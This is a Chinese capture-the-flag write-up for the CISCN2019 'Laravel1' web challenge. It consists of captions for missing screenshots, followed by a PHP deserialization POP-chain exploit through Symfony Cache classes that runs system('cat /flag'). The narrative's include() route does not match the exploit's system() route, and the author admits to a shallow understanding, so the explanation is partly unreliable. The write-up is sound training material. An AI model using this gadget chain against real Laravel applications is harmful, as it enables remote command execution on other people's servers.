[CISCN2019 总决赛 Day1 Web4]Laravel1
界面如上,比较单一:
指出了反序列化的点:还有备份文件。
下面反序列化的入口:
就当找到了吧:
确实可以跳转:
可控:
寻找这个类,看是否被调用:
开始寻找使用了saveDeferred类的:
看别人的WP这个是唯一可以使用的:
调用了本类的initialise方法,但前文并没有定义,据其他WP说是会去父类找,
偷一张其继承关系的图:
查询得到其主要父类,尝试全局搜索initialise()
include可以使用:
那么在之前的那个phpArrayAdapter.php中定义好$this->file,只要其存在就能包含出来:
贴exp:
namespace Symfony\\Component\\Cache\\Adapter;
class TagAwareAdapter{
public $deferred = array();
function __construct($x){
$this->pool = $x;
}
}
class ProxyAdapter{
protected $setInnerItem = 'system';
}
namespace Symfony\\Component\\Cache;
class CacheItem{
protected $innerItem = 'cat /flag';
}
$a = new \\Symfony\\Component\\Cache\\Adapter\\TagAwareAdapter(new \\Symfony\\Component\\Cache\\Adapter\\ProxyAdapter());
$a->deferred = array('aa'=>new \\Symfony\\Component\\Cache\\CacheItem);
echo urlencode(serialize($a));
使用:
还有问题未解决,等待了解:理解的太浅显了: